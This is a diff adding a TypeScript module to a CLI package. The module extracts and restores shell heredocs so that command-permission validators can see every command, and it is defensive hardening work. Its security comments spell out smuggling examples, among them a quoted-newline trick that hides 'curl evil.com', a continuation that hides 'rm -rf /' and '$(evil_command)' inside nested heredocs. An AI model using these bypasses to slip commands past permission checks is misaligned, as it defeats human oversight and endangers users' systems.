@xelauvas/xela-cli 0.1.0

package/src/utils/bash/heredoc.ts

@@ -0,0 +1,733 @@
+/**
+ * Heredoc extraction and restoration utilities.
+ *
+ * The shell-quote library parses `<<` as two separate `<` redirect operators,
+ * which breaks command splitting for heredoc syntax. This module provides
+ * utilities to extract heredocs before parsing and restore them after.
+ *
+ * Supported heredoc variations:
+ * - <<WORD      - basic heredoc
+ * - <<'WORD'    - single-quoted delimiter (no variable expansion in content)
+ * - <<"WORD"    - double-quoted delimiter (with variable expansion)
+ * - <<-WORD     - dash prefix (strips leading tabs from content)
+ * - <<-'WORD'   - combined dash and quoted delimiter
+ *
+ * Known limitations:
+ * - Heredocs inside backtick command substitution may not be extracted
+ * - Very complex multi-heredoc scenarios may not be extracted
+ *
+ * When extraction fails, the command passes through unchanged. This is safe
+ * because the unextracted heredoc will either cause shell-quote parsing to fail
+ * (falling back to treating the whole command as one unit) or require manual
+ * approval for each apparent subcommand.
+ *
+ * @module
+ */
+
+import { randomBytes } from 'crypto'
+
+const HEREDOC_PLACEHOLDER_PREFIX = '__HEREDOC_'
+const HEREDOC_PLACEHOLDER_SUFFIX = '__'
+
+/**
+ * Generates a random hex string for placeholder uniqueness.
+ * This prevents collision when command text literally contains "__HEREDOC_N__".
+ */
+function generatePlaceholderSalt(): string {
+  // Generate 8 random bytes as hex (16 characters)
+  return randomBytes(8).toString('hex')
+}
+
+/**
+ * Regex pattern for matching heredoc start syntax.
+ *
+ * Two alternatives handle quoted vs unquoted delimiters differently:
+ *
+ * Alternative 1 (quoted): (['"]) (\\?\w+) \2
+ *   Captures the opening quote, then the delimiter word (which MAY include a
+ *   leading backslash since it's literal inside quotes), then the closing quote.
+ *   In bash, single quotes make EVERYTHING literal including backslashes:
+ *     <<'\EOF' → delimiter is \EOF (with backslash)
+ *     <<'EOF'  → delimiter is EOF
+ *   Double quotes also preserve backslashes before non-special chars:
+ *     <<"\EOF" → delimiter is \EOF
+ *
+ * Alternative 2 (unquoted): \\?(\w+)
+ *   Optionally consumes a leading backslash (escape), then captures the word.
+ *   In bash, an unquoted backslash escapes the next character:
+ *     <<\EOF → delimiter is EOF (backslash consumed as escape)
+ *     <<EOF  → delimiter is EOF (plain)
+ *
+ * SECURITY: The backslash MUST be inside the capture group for quoted
+ * delimiters but OUTSIDE for unquoted ones. The old regex had \\? outside
+ * the capture group unconditionally, causing <<'\EOF' to extract delimiter
+ * "EOF" while bash uses "\EOF", allowing command smuggling.
+ *
+ * Note: Uses [ \t]* (not \s*) to avoid matching across newlines, which would be
+ * a security issue (could hide commands between << and the delimiter).
+ */
+const HEREDOC_START_PATTERN =
+  // eslint-disable-next-line custom-rules/no-lookbehind-regex -- gated by command.includes('<<') at extractHeredocs() entry
+  /(?<!<)<<(?!<)(-)?[ \t]*(?:(['"])(\\?\w+)\2|\\?(\w+))/
+
+export type HeredocInfo = {
+  /** The full heredoc text including << operator, delimiter, content, and closing delimiter */
+  fullText: string
+  /** The delimiter word (without quotes) */
+  delimiter: string
+  /** Start position of the << operator in the original command */
+  operatorStartIndex: number
+  /** End position of the << operator (exclusive) - content on same line after this is preserved */
+  operatorEndIndex: number
+  /** Start position of heredoc content (the newline before content) */
+  contentStartIndex: number
+  /** End position of heredoc content including closing delimiter (exclusive) */
+  contentEndIndex: number
+}
+
+export type HeredocExtractionResult = {
+  /** The command with heredocs replaced by placeholders */
+  processedCommand: string
+  /** Map of placeholder string to original heredoc info */
+  heredocs: Map<string, HeredocInfo>
+}
+
+/**
+ * Extracts heredocs from a command string and replaces them with placeholders.
+ *
+ * This allows shell-quote to parse the command without mangling heredoc syntax.
+ * After parsing, use `restoreHeredocs` to replace placeholders with original content.
+ *
+ * @param command - The shell command string potentially containing heredocs
+ * @returns Object containing the processed command and a map of placeholders to heredoc info
+ *
+ * @example
+ * ```ts
+ * const result = extractHeredocs(`cat <<EOF
+ * hello world
+ * EOF`);
+ * // result.processedCommand === "cat __HEREDOC_0_a1b2c3d4__" (salt varies)
+ * // result.heredocs has the mapping to restore later
+ * ```
+ */
+export function extractHeredocs(
+  command: string,
+  options?: { quotedOnly?: boolean },
+): HeredocExtractionResult {
+  const heredocs = new Map<string, HeredocInfo>()
+
+  // Quick check: if no << present, skip processing
+  if (!command.includes('<<')) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Security: Paranoid pre-validation. Our incremental quote/comment scanner
+  // (see advanceScan below) does simplified parsing that cannot handle all
+  // bash quoting constructs. If the command contains
+  // constructs that could desync our quote tracking, bail out entirely
+  // rather than risk extracting a heredoc with incorrect boundaries.
+  // This is defense-in-depth: each construct below has caused or could
+  // cause a security bypass if we attempt extraction.
+  //
+  // Specifically, we bail if the command contains:
+  // 1. $'...' or $"..." (ANSI-C / locale quoting — our quote tracker
+  //    doesn't handle the $ prefix, would misparse the quotes)
+  // 2. Backtick command substitution (backtick nesting has complex parsing
+  //    rules, and backtick acts as shell_eof_token for PST_EOFTOKEN in
+  //    make_cmd.c:606, enabling early heredoc closure that our parser
+  //    can't replicate)
+  if (/\$['"]/.test(command)) {
+    return { processedCommand: command, heredocs }
+  }
+  // Check for backticks in the command text before the first <<.
+  // Backtick nesting has complex parsing rules, and backtick acts as
+  // shell_eof_token for PST_EOFTOKEN (make_cmd.c:606), enabling early
+  // heredoc closure that our parser can't replicate. We only check
+  // before << because backticks in heredoc body content are harmless.
+  const firstHeredocPos = command.indexOf('<<')
+  if (firstHeredocPos > 0 && command.slice(0, firstHeredocPos).includes('`')) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Security: Check for arithmetic evaluation context before the first `<<`.
+  // In bash, `(( x = 1 << 2 ))` uses `<<` as a BIT-SHIFT operator, not a
+  // heredoc. If we mis-extract it, subsequent lines become "heredoc content"
+  // and are hidden from security validators, while bash executes them as
+  // separate commands. We bail entirely if `((` appears before `<<` without
+  // a matching `))` — we can't reliably distinguish arithmetic `<<` from
+  // heredoc `<<` in that context. Note: $(( is already caught by
+  // validateDangerousPatterns, but bare (( is not.
+  if (firstHeredocPos > 0) {
+    const beforeHeredoc = command.slice(0, firstHeredocPos)
+    // Count (( and )) occurrences — if unbalanced, `<<` may be arithmetic
+    const openArith = (beforeHeredoc.match(/\(\(/g) || []).length
+    const closeArith = (beforeHeredoc.match(/\)\)/g) || []).length
+    if (openArith > closeArith) {
+      return { processedCommand: command, heredocs }
+    }
+  }
+
+  // Create a global version of the pattern for iteration
+  const heredocStartPattern = new RegExp(HEREDOC_START_PATTERN.source, 'g')
+
+  const heredocMatches: HeredocInfo[] = []
+  // Security: When quotedOnly skips an unquoted heredoc, we still need to
+  // track its content range so the nesting filter can reject quoted heredocs
+  // that appear INSIDE the skipped unquoted heredoc's body. Without this,
+  // `cat <<EOF\n<<'SAFE'\n$(evil)\nSAFE\nEOF` would extract <<'SAFE' as a
+  // top-level heredoc, hiding $(evil) from validators — even though in bash,
+  // $(evil) IS executed (unquoted <<EOF expands its body).
+  const skippedHeredocRanges: Array<{
+    contentStartIndex: number
+    contentEndIndex: number
+  }> = []
+  let match: RegExpExecArray | null
+
+  // Incremental quote/comment scanner state.
+  //
+  // The regex walks forward through the command, and match.index is monotonically
+  // increasing. Previously, isInsideQuotedString and isInsideComment each
+  // re-scanned from position 0 on every match — O(n²) when the heredoc body
+  // contains many `<<` (e.g. C++ with `std::cout << ...`). A 200-line C++
+  // heredoc hit ~3.7ms per extractHeredocs call, and Bash security validation
+  // calls extractHeredocs multiple times per command.
+  //
+  // Instead, track quote/comment/escape state incrementally and advance from
+  // the last scanned position. This preserves the OLD helpers' exact semantics:
+  //
+  //   Quote state (was isInsideQuotedString) is COMMENT-BLIND — it never sees
+  //   `#` and never skips characters for being "in a comment". Inside single
+  //   quotes, everything is literal. Inside double quotes, backslash escapes
+  //   the next char. An unquoted backslash run of odd length escapes the next
+  //   char.
+  //
+  //   Comment state (was isInsideComment) observes quote state (# inside quotes
+  //   is not a comment) but NOT the reverse. The old helper used a per-call
+  //   `lineStart = lastIndexOf('\n', pos-1)+1` bound on which `#` to consider;
+  //   equivalently, any physical `\n` clears comment state — including `\n`
+  //   inside quotes (since lastIndexOf was quote-blind).
+  //
+  // SECURITY: Do NOT let comment mode suppress quote-state updates. If `#` put
+  // the scanner in a mode that skipped quote chars, then `echo x#"\n<<...`
+  // (where bash treats `#` as part of the word `x#`, NOT a comment) would
+  // report the `<<` as unquoted and EXTRACT it — hiding content from security
+  // validators. The old isInsideQuotedString was comment-blind; we preserve
+  // that. Both old and new over-eagerly treat any unquoted `#` as a comment
+  // (bash requires word-start), but since quote tracking is independent, the
+  // over-eagerness only affects the comment check — causing SKIPS (safe
+  // direction), never extra EXTRACTIONS.
+  let scanPos = 0
+  let scanInSingleQuote = false
+  let scanInDoubleQuote = false
+  let scanInComment = false
+  // Inside "...": true if the previous char was a backslash (next char is escaped).
+  // Carried across advanceScan calls so a `\` at scanPos-1 correctly escapes
+  // the char at scanPos.
+  let scanDqEscapeNext = false
+  // Unquoted context: length of the consecutive backslash run ending at scanPos-1.
+  // Used to determine if the char at scanPos is escaped (odd run = escaped).
+  let scanPendingBackslashes = 0
+
+  const advanceScan = (target: number): void => {
+    for (let i = scanPos; i < target; i++) {
+      const ch = command[i]!
+
+      // Any physical newline clears comment state. The old isInsideComment
+      // used `lineStart = lastIndexOf('\n', pos-1)+1` (quote-blind), so a
+      // `\n` inside quotes still advanced lineStart. Match that here by
+      // clearing BEFORE the quote branches.
+      if (ch === '\n') scanInComment = false
+
+      if (scanInSingleQuote) {
+        if (ch === "'") scanInSingleQuote = false
+        continue
+      }
+
+      if (scanInDoubleQuote) {
+        if (scanDqEscapeNext) {
+          scanDqEscapeNext = false
+          continue
+        }
+        if (ch === '\\') {
+          scanDqEscapeNext = true
+          continue
+        }
+        if (ch === '"') scanInDoubleQuote = false
+        continue
+      }
+
+      // Unquoted context. Quote tracking is COMMENT-BLIND (same as the old
+      // isInsideQuotedString): we do NOT skip chars for being inside a
+      // comment. Only the `#` detection itself is gated on not-in-comment.
+      if (ch === '\\') {
+        scanPendingBackslashes++
+        continue
+      }
+      const escaped = scanPendingBackslashes % 2 === 1
+      scanPendingBackslashes = 0
+      if (escaped) continue
+
+      if (ch === "'") scanInSingleQuote = true
+      else if (ch === '"') scanInDoubleQuote = true
+      else if (!scanInComment && ch === '#') scanInComment = true
+    }
+    scanPos = target
+  }
+
+  while ((match = heredocStartPattern.exec(command)) !== null) {
+    const startIndex = match.index
+
+    // Advance the incremental scanner to this match's position. After this,
+    // scanInSingleQuote/scanInDoubleQuote/scanInComment reflect the parser
+    // state immediately BEFORE startIndex, and scanPendingBackslashes is the
+    // count of unquoted `\` immediately preceding startIndex.
+    advanceScan(startIndex)
+
+    // Skip if this << is inside a quoted string (not a real heredoc operator).
+    if (scanInSingleQuote || scanInDoubleQuote) {
+      continue
+    }
+
+    // Security: Skip if this << is inside a comment (after unquoted #).
+    // In bash, `# <<EOF` is a comment — extracting it would hide commands on
+    // subsequent lines as "heredoc content" while bash executes them.
+    if (scanInComment) {
+      continue
+    }
+
+    // Security: Skip if this << is preceded by an odd number of backslashes.
+    // In bash, `\<<EOF` is NOT a heredoc — `\<` is a literal `<`, then `<EOF`
+    // is input redirection. Extracting it would drop same-line commands from
+    // security checks. The scanner tracks the unquoted backslash run ending
+    // immediately before startIndex (scanPendingBackslashes).
+    if (scanPendingBackslashes % 2 === 1) {
+      continue
+    }
+
+    // Security: Bail if this `<<` falls inside the body of a previously
+    // SKIPPED heredoc (unquoted heredoc in quotedOnly mode). In bash,
+    // `<<` inside a heredoc body is just text — it's not a nested heredoc
+    // operator. Extracting it would hide content that bash actually expands.
+    let insideSkipped = false
+    for (const skipped of skippedHeredocRanges) {
+      if (
+        startIndex > skipped.contentStartIndex &&
+        startIndex < skipped.contentEndIndex
+      ) {
+        insideSkipped = true
+        break
+      }
+    }
+    if (insideSkipped) {
+      continue
+    }
+
+    const fullMatch = match[0]
+    const isDash = match[1] === '-'
+    // Group 3 = quoted delimiter (may include backslash), group 4 = unquoted
+    const delimiter = (match[3] || match[4])!
+    const operatorEndIndex = startIndex + fullMatch.length
+
+    // Security: Two checks to verify our regex captured the full delimiter word.
+    // Any mismatch between our parsed delimiter and bash's actual delimiter
+    // could allow command smuggling past permission checks.
+
+    // Check 1: If a quote was captured (group 2), verify the closing quote
+    // was actually matched by \2 in the regex (the quoted alternative requires
+    // the closing quote). The regex's \w+ only matches [a-zA-Z0-9_], so
+    // non-word chars inside quotes (spaces, hyphens, dots) cause \w+ to stop
+    // early, leaving the closing quote unmatched.
+    // Example: <<"EO F" — regex captures "EO", misses closing ", delimiter
+    // should be "EO F" but we'd use "EO". Skip to prevent mismatch.
+    const quoteChar = match[2]
+    if (quoteChar && command[operatorEndIndex - 1] !== quoteChar) {
+      continue
+    }
+
+    // Security: Determine if the delimiter is quoted ('EOF', "EOF") or
+    // escaped (\EOF). In bash, quoted/escaped delimiters suppress all
+    // expansion in the heredoc body — content is literal text. Unquoted
+    // delimiters (<<EOF) perform full shell expansion: $(), backticks,
+    // and ${} in the body ARE executed. When quotedOnly is set, skip
+    // unquoted heredocs so their bodies remain visible to security
+    // validators (they may contain executable command substitutions).
+    const isEscapedDelimiter = fullMatch.includes('\\')
+    const isQuotedOrEscaped = !!quoteChar || isEscapedDelimiter
+    // Note: We do NOT skip unquoted heredocs here anymore when quotedOnly is
+    // set. Instead, we compute their content range and add them to
+    // skippedHeredocRanges, then skip them AFTER finding the closing
+    // delimiter. This lets the nesting filter correctly reject quoted
+    // "heredocs" that appear inside unquoted heredoc bodies.
+
+    // Check 2: Verify the next character after our match is a bash word
+    // terminator (metacharacter or end of string). Characters like word chars,
+    // quotes, $, \ mean the bash word extends beyond our match
+    // (e.g., <<'EOF'a where bash uses "EOFa" but we captured "EOF").
+    // IMPORTANT: Only match bash's actual metacharacters — space (0x20),
+    // tab (0x09), newline (0x0A), |, &, ;, (, ), <, >. Do NOT use \s which
+    // also matches \r, \f, \v, and Unicode whitespace that bash treats as
+    // regular word characters, not terminators.
+    if (operatorEndIndex < command.length) {
+      const nextChar = command[operatorEndIndex]!
+      if (!/^[ \t\n|&;()<>]$/.test(nextChar)) {
+        continue
+      }
+    }
+
+    // In bash, heredoc content starts on the NEXT LINE after the operator.
+    // Any content on the same line after <<EOF (like " && echo done") is part
+    // of the command, not the heredoc content.
+    //
+    // SECURITY: The "same line" must be the LOGICAL command line, not the
+    // first physical newline. Multi-line quoted strings extend the logical
+    // line — bash waits for the quote to close before starting to read the
+    // heredoc body. A quote-blind `indexOf('\n')` finds newlines INSIDE
+    // quoted strings, causing the body to start too early.
+    //
+    // Exploit: `echo <<'EOF' '${}\n' ; curl evil.com\nEOF`
+    //   - The `\n` inside `'${}\n'` is quoted (literal newline in a string arg)
+    //   - Bash: waits for `'` to close → logical line is
+    //     `echo <<'EOF' '${}\n' ; curl evil.com` → heredoc body = `EOF`
+    //   - Our old code: indexOf('\n') finds the quoted newline → body starts
+    //     at `' ; curl evil.com\nEOF` → curl swallowed into placeholder →
+    //     NEVER reaches permission checks.
+    //
+    // Fix: scan forward from operatorEndIndex using quote-state tracking,
+    // finding the first newline that's NOT inside a quoted string. Same
+    // quote-tracking semantics as advanceScan (already used to validate
+    // the `<<` operator position above).
+    let firstNewlineOffset = -1
+    {
+      let inSingleQuote = false
+      let inDoubleQuote = false
+      // We start with clean quote state — advanceScan already rejected the
+      // case where the `<<` operator itself is inside a quote.
+      for (let k = operatorEndIndex; k < command.length; k++) {
+        const ch = command[k]
+        if (inSingleQuote) {
+          if (ch === "'") inSingleQuote = false
+          continue
+        }
+        if (inDoubleQuote) {
+          if (ch === '\\') {
+            k++ // skip escaped char inside double quotes
+            continue
+          }
+          if (ch === '"') inDoubleQuote = false
+          continue
+        }
+        // Unquoted context
+        if (ch === '\n') {
+          firstNewlineOffset = k - operatorEndIndex
+          break
+        }
+        // Count backslashes for escape detection in unquoted context
+        let backslashCount = 0
+        for (let j = k - 1; j >= operatorEndIndex && command[j] === '\\'; j--) {
+          backslashCount++
+        }
+        if (backslashCount % 2 === 1) continue // escaped char
+        if (ch === "'") inSingleQuote = true
+        else if (ch === '"') inDoubleQuote = true
+      }
+      // If we ended while still inside a quote, the logical line never ends —
+      // there is no heredoc body. Leave firstNewlineOffset as -1 (handled below).
+    }
+
+    // If no unquoted newline found, this heredoc has no content - skip it
+    if (firstNewlineOffset === -1) {
+      continue
+    }
+
+    // Security: Check for backslash-newline continuation at the end of the
+    // same-line content (text between the operator and the newline). In bash,
+    // `\<newline>` joins lines BEFORE heredoc parsing — so:
+    //   cat <<'EOF' && \
+    //   rm -rf /
+    //   content
+    //   EOF
+    // bash joins to `cat <<'EOF' && rm -rf /` (rm is part of the command line),
+    // then heredoc body = `content`. Our extractor runs BEFORE continuation
+    // joining (commands.ts:82), so it would put `rm -rf /` in the heredoc body,
+    // hiding it from all validators. Bail if same-line content ends with an
+    // odd number of backslashes.
+    const sameLineContent = command.slice(
+      operatorEndIndex,
+      operatorEndIndex + firstNewlineOffset,
+    )
+    let trailingBackslashes = 0
+    for (let j = sameLineContent.length - 1; j >= 0; j--) {
+      if (sameLineContent[j] === '\\') {
+        trailingBackslashes++
+      } else {
+        break
+      }
+    }
+    if (trailingBackslashes % 2 === 1) {
+      // Odd number of trailing backslashes → last one escapes the newline
+      // → this is a line continuation. Our heredoc-before-continuation order
+      // would misparse this. Bail out.
+      continue
+    }
+
+    const contentStartIndex = operatorEndIndex + firstNewlineOffset
+    const afterNewline = command.slice(contentStartIndex + 1) // +1 to skip the newline itself
+    const contentLines = afterNewline.split('\n')
+
+    // Find the closing delimiter - must be on its own line
+    // Security: Must match bash's exact behavior to prevent parsing discrepancies
+    // that could allow command smuggling past permission checks.
+    let closingLineIndex = -1
+    for (let i = 0; i < contentLines.length; i++) {
+      const line = contentLines[i]!
+
+      if (isDash) {
+        // <<- strips leading TABS only (not spaces), per POSIX/bash spec.
+        // The line after stripping leading tabs must be exactly the delimiter.
+        const stripped = line.replace(/^\t*/, '')
+        if (stripped === delimiter) {
+          closingLineIndex = i
+          break
+        }
+      } else {
+        // << requires the closing delimiter to be exactly alone on the line
+        // with NO leading or trailing whitespace. This matches bash behavior.
+        if (line === delimiter) {
+          closingLineIndex = i
+          break
+        }
+      }
+
+      // Security: Check for PST_EOFTOKEN-like early closure (make_cmd.c:606).
+      // Inside $(), ${}, or backtick substitution, bash closes a heredoc when
+      // a line STARTS with the delimiter and contains the shell_eof_token
+      // (`)`, `}`, or backtick) anywhere after it. Our parser only does exact
+      // line matching, so this discrepancy could hide smuggled commands.
+      //
+      // Paranoid extension: also bail on bash metacharacters (|, &, ;, (, <,
+      // >) after the delimiter, which could indicate command syntax from a
+      // parsing discrepancy we haven't identified.
+      //
+      // For <<- heredocs, bash strips leading tabs before this check.
+      const eofCheckLine = isDash ? line.replace(/^\t*/, '') : line
+      if (
+        eofCheckLine.length > delimiter.length &&
+        eofCheckLine.startsWith(delimiter)
+      ) {
+        const charAfterDelimiter = eofCheckLine[delimiter.length]!
+        if (/^[)}`|&;(<>]$/.test(charAfterDelimiter)) {
+          // Shell metacharacter or substitution closer after delimiter —
+          // bash may close the heredoc early here. Bail out.
+          closingLineIndex = -1
+          break
+        }
+      }
+    }
+
+    // Security: If quotedOnly mode is set and this is an unquoted heredoc,
+    // record its content range for nesting checks but do NOT add it to
+    // heredocMatches. This ensures quoted "heredocs" inside its body are
+    // correctly rejected by the insideSkipped check on subsequent iterations.
+    //
+    // CRITICAL: We do this BEFORE the closingLineIndex === -1 check. If the
+    // unquoted heredoc has no closing delimiter, bash still treats everything
+    // to end-of-input as the heredoc body (and expands $() within it). We
+    // must block extraction of any subsequent quoted "heredoc" that falls
+    // inside that unbounded body.
+    if (options?.quotedOnly && !isQuotedOrEscaped) {
+      let skipContentEndIndex: number
+      if (closingLineIndex === -1) {
+        // No closing delimiter — in bash, heredoc body extends to end of
+        // input. Track the entire remaining range as "skipped body".
+        skipContentEndIndex = command.length
+      } else {
+        const skipLinesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
+        const skipContentLength = skipLinesUpToClosing.join('\n').length
+        skipContentEndIndex = contentStartIndex + 1 + skipContentLength
+      }
+      skippedHeredocRanges.push({
+        contentStartIndex,
+        contentEndIndex: skipContentEndIndex,
+      })
+      continue
+    }
+
+    // If no closing delimiter found, this is malformed - skip it
+    if (closingLineIndex === -1) {
+      continue
+    }
+
+    // Calculate end position: contentStartIndex + 1 (newline) + length of lines up to and including closing delimiter
+    const linesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
+    const contentLength = linesUpToClosing.join('\n').length
+    const contentEndIndex = contentStartIndex + 1 + contentLength
+
+    // Security: Bail if this heredoc's content range OVERLAPS with any
+    // previously-skipped heredoc's content range. This catches the case where
+    // two heredocs share a command line (`cat <<EOF <<'SAFE'`) and the first
+    // is unquoted (skipped in quotedOnly mode). In bash, when multiple heredocs
+    // share a line, their bodies appear SEQUENTIALLY (first's body, then
+    // second's). Both compute contentStartIndex from the SAME newline, so the
+    // second's body search walks through the first's body. For:
+    //   cat <<EOF <<'SAFE'
+    //   $(evil_command)
+    //   EOF
+    //   safe body
+    //   SAFE
+    // ...the quoted <<'SAFE' would incorrectly extract lines 2-4 as its body,
+    // swallowing `$(evil_command)` (which bash EXECUTES via the unquoted
+    // <<EOF's expansion) into the placeholder, hiding it from validators.
+    //
+    // The insideSkipped check above doesn't catch this because the quoted
+    // operator's startIndex is on the command line BEFORE contentStart.
+    // The contentStartPositions dedup check below doesn't catch it because the
+    // skipped heredoc is in skippedHeredocRanges, not topLevelHeredocs.
+    let overlapsSkipped = false
+    for (const skipped of skippedHeredocRanges) {
+      // Ranges [a,b) and [c,d) overlap iff a < d && c < b
+      if (
+        contentStartIndex < skipped.contentEndIndex &&
+        skipped.contentStartIndex < contentEndIndex
+      ) {
+        overlapsSkipped = true
+        break
+      }
+    }
+    if (overlapsSkipped) {
+      continue
+    }
+
+    // Build fullText: operator + newline + content (normalized form for restoration)
+    // This creates a clean heredoc that can be restored correctly
+    const operatorText = command.slice(startIndex, operatorEndIndex)
+    const contentText = command.slice(contentStartIndex, contentEndIndex)
+    const fullText = operatorText + contentText
+
+    heredocMatches.push({
+      fullText,
+      delimiter,
+      operatorStartIndex: startIndex,
+      operatorEndIndex,
+      contentStartIndex,
+      contentEndIndex,
+    })
+  }
+
+  // If no valid heredocs found, return original
+  if (heredocMatches.length === 0) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Filter out nested heredocs - any heredoc whose operator starts inside
+  // another heredoc's content range should be excluded.
+  // This prevents corruption when heredoc content contains << patterns.
+  const topLevelHeredocs = heredocMatches.filter((candidate, _i, all) => {
+    // Check if this candidate's operator is inside any other heredoc's content
+    for (const other of all) {
+      if (candidate === other) continue
+      // Check if candidate's operator starts within other's content range
+      if (
+        candidate.operatorStartIndex > other.contentStartIndex &&
+        candidate.operatorStartIndex < other.contentEndIndex
+      ) {
+        // This heredoc is nested inside another - filter it out
+        return false
+      }
+    }
+    return true
+  })
+
+  // If filtering removed all heredocs, return original
+  if (topLevelHeredocs.length === 0) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Check for multiple heredocs sharing the same content start position
+  // (i.e., on the same line). This causes index corruption during replacement
+  // because indices are calculated on the original string but applied to
+  // a progressively modified string. Return without extraction - the fallback
+  // is safe (requires manual approval or fails parsing).
+  const contentStartPositions = new Set(
+    topLevelHeredocs.map(h => h.contentStartIndex),
+  )
+  if (contentStartPositions.size < topLevelHeredocs.length) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Sort by content end position descending so we can replace from end to start
+  // (this preserves indices for earlier replacements)
+  topLevelHeredocs.sort((a, b) => b.contentEndIndex - a.contentEndIndex)
+
+  // Generate a unique salt for this extraction to prevent placeholder collisions
+  // with literal "__HEREDOC_N__" text in commands
+  const salt = generatePlaceholderSalt()
+
+  let processedCommand = command
+  topLevelHeredocs.forEach((info, index) => {
+    // Use reverse index since we sorted descending
+    const placeholderIndex = topLevelHeredocs.length - 1 - index
+    const placeholder = `${HEREDOC_PLACEHOLDER_PREFIX}${placeholderIndex}_${salt}${HEREDOC_PLACEHOLDER_SUFFIX}`
+
+    heredocs.set(placeholder, info)
+
+    // Replace heredoc with placeholder while preserving same-line content:
+    // - Keep everything before the operator
+    // - Replace operator with placeholder
+    // - Keep content between operator and heredoc content (e.g., " && echo done")
+    // - Remove the heredoc content (from newline through closing delimiter)
+    // - Keep everything after the closing delimiter
+    processedCommand =
+      processedCommand.slice(0, info.operatorStartIndex) +
+      placeholder +
+      processedCommand.slice(info.operatorEndIndex, info.contentStartIndex) +
+      processedCommand.slice(info.contentEndIndex)
+  })
+
+  return { processedCommand, heredocs }
+}
+
+/**
+ * Restores heredoc placeholders back to their original content in a single string.
+ * Internal helper used by restoreHeredocs.
+ */
+function restoreHeredocsInString(
+  text: string,
+  heredocs: Map<string, HeredocInfo>,
+): string {
+  let result = text
+  for (const [placeholder, info] of heredocs) {
+    result = result.replaceAll(placeholder, info.fullText)
+  }
+  return result
+}
+
+/**
+ * Restores heredoc placeholders in an array of strings.
+ *
+ * @param parts - Array of strings that may contain heredoc placeholders
+ * @param heredocs - The map of placeholders from `extractHeredocs`
+ * @returns New array with placeholders replaced by original heredoc content
+ */
+export function restoreHeredocs(
+  parts: string[],
+  heredocs: Map<string, HeredocInfo>,
+): string[] {
+  if (heredocs.size === 0) {
+    return parts
+  }
+
+  return parts.map(part => restoreHeredocsInString(part, heredocs))
+}
+
+/**
+ * Checks if a command contains heredoc syntax.
+ *
+ * This is a quick check that doesn't validate the heredoc is well-formed,
+ * just that the pattern exists.
+ *
+ * @param command - The shell command string
+ * @returns true if the command appears to contain heredoc syntax
+ */
+export function containsHeredoc(command: string): boolean {
+  return HEREDOC_START_PATTERN.test(command)
+}